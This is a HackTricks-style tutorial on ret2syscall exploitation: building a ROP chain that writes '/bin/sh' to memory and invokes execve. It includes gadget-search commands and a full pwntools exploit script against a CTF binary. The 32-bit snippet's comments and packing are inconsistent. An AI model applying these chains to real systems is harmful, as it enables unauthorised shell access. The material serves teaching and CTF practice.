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Basic Information
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall sys_execve with some arguments to execute /bin/sh. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
In order to prepare the call for the syscall it's needed the following configuration:
rax: 59 Specify sys_execve
rdi: ptr to "/bin/sh" specify file to execute
rsi: 0 specify no arguments passed
rdx: 0 specify no environment variables passed
So, basically it's needed to write the string /bin/sh somewhere and then perform the syscall (being aware of the padding needed to control the stack). For this, we need a gadget to write /bin/sh in a known area.
Another interesting syscall to call is mprotect which would allow an attacker to modify the permissions of a page in memory. This can be combined with .
Register gadgets
Let's start by finding how to control those registers:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
With these addresses it's possible to write the content in the stack and load it into the registers.
Write string
Writable memory
First you need to find a writable place in the memory
Then you need to find a way to write arbitrary content in this address
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Automate ROP chain
The following command creates a full sys_execve ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
ROPgadget --binary vuln --ropchain
32 bits
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 bits
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Lacking Gadgets
If you are lacking gadgets, for example to write /bin/sh in memory, you can use the SROP technique to control all the register values (including RIP and params registers) from the stack:
Exploit Example
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Other Examples & References
64 bits, no PIE, nx, write in some memory a ROP to call execve and jump there.
64 bits, nx, no PIE, write in some memory a ROP to call execve and jump there. In order to write to the stack a function that performs mathematical operations is abused
64 bits, no PIE, nx, BF canary, write in some memory a ROP to call execve and jump there.
Support HackTricks
Learn & practice AWS Hacking:
Learn & practice GCP Hacking:
Check the !
Join the 💬 or the or follow us on Twitter 🐦 .
Share hacking tricks by submitting PRs to the and github repos.
